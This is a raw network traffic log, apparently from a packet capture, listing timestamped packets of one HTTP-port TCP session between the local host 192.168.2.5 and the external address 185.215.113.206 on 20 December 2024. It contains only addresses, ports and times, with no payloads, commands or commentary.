Dec 20, 2024 16:06:57.772910118 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.773611069 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.773669004 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.773719072 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.773768902 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.774564981 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.774624109 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.774822950 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.774878979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.775588036 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.775605917 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.775645018 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.775688887 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.776375055 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.776464939 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.776704073 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.776751041 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.777332067 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.777345896 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.777385950 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.777415037 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.778253078 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.778322935 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.779036999 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.779093027 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.779150963 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.779166937 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.779194117 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.779216051 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.780082941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.780158997 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.780304909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.780349016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.781024933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.781074047 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.781136990 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.781178951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.781923056 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.781970024 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.782031059 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.782080889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.782864094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.782926083 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.783044100 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.783097982 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.783766031 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.783824921 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.784332991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.784394979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.784785032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.784841061 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.784977913 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.785027027 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.785649061 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.785701990 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.785836935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.785886049 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.786592007 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.786674976 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.787153959 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.787210941 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.787461996 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.787513971 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.787601948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.787652016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.788651943 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.788705111 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.788712025 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.788749933 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.789609909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.789670944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.789844990 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.789894104 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.790589094 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.790668011 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.791177988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.791232109 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.791568995 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.791620016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.791918039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.791971922 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.792479038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.792534113 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.792537928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.792581081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.793353081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.793394089 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.793417931 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.793437958 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.794197083 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.794244051 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.794310093 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.794352055 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.795047998 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.795098066 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.795222044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.795268059 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.795952082 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.796003103 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.796256065 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.796303988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.797038078 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.797120094 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.797159910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.797245979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.797750950 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.797779083 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.797811031 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.797835112 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.798743010 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.798789978 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.799055099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.799107075 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.799633980 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.799681902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.799691916 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.799827099 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.800474882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.800532103 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.800692081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.800744057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.801397085 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.801456928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.801492929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.801542044 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.802405119 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.802458048 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.802747965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.802804947 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.803248882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.803303957 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.803308010 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.803352118 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.804316998 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.804328918 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.804383039 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.805210114 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.805274010 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.805370092 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.805418968 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.806107998 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.806165934 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.806247950 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.806299925 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.890109062 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.890285969 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.890290976 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.890341043 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.890551090 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.890583038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.890607119 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.890619040 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.891278982 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.891334057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.891379118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.891422987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.892163992 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.892221928 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.892323971 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.892376900 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.893068075 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.893130064 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.893235922 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.893291950 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.894064903 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.894124985 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.894263983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.894313097 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.894889116 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.894946098 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.894951105 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.894998074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.957763910 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.957844973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.957914114 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.958050966 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.958156109 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.958188057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.958205938 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.958224058 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.959175110 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.959197044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.959233999 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.959255934 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.959969997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.960026026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.960829020 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.960843086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.960870028 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.960897923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.960951090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.961662054 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.961754084 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.962172985 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.962225914 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.962562084 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.962614059 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.962763071 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.962816000 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.963560104 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.963623047 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.963759899 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.963814020 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.964567900 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.964627028 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.964766026 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.964817047 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.965511084 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.965572119 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.965723038 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.965771914 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.966252089 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.966308117 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.966449022 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.966496944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.967189074 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.967251062 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.967353106 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.967398882 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.968319893 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.968379021 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.968686104 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.968744040 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.969024897 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.969073057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.969182968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.969234943 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.969986916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.970042944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.970211983 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.970259905 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.970910072 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.970966101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.971124887 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.971172094 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.971822023 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.971908092 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.971951962 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.971997976 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.972722054 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.972783089 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.972821951 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.972867012 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.973670006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.973725080 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.973861933 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.973910093 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.974561930 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.974617958 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.974625111 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.974668026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.975502968 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.975573063 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.975649118 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.975698948 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.976468086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.976532936 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.976614952 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.976663113 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.977360010 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.977415085 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.977863073 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.977915049 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.978354931 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.978373051 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.978418112 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.978440046 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.979216099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.979279041 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.980005026 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.980061054 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.980189085 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.980206966 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.980237007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.980264902 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.981075048 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.981148958 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.981957912 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.982007027 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.982028008 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.982042074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.982070923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.982934952 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.982996941 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.983062029 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.983104944 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.984507084 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.984571934 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.984644890 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.984693050 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.985027075 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.985075951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.985270023 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.985317945 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.986063957 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.986120939 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.986150026 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.986192942 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.986793041 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.986845970 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.986890078 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.986933947 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.987577915 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.987632036 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.987683058 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.987729073 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.988444090 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.988501072 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.988833904 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.988888979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.989351988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.989408016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.989465952 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.989512920 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.990271091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.990329027 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.990544081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.990595102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.991409063 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.991473913 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.991811991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.991864920 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.992233992 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.992312908 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.992379904 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.992424965 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.993041039 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.993096113 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.993269920 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.993319035 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.994066000 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.994124889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.994203091 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.994247913 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.994987965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.995048046 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.995136023 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.995183945 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.995832920 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.995887041 CET	49769	80	192.168.2.5	185.215.113.206
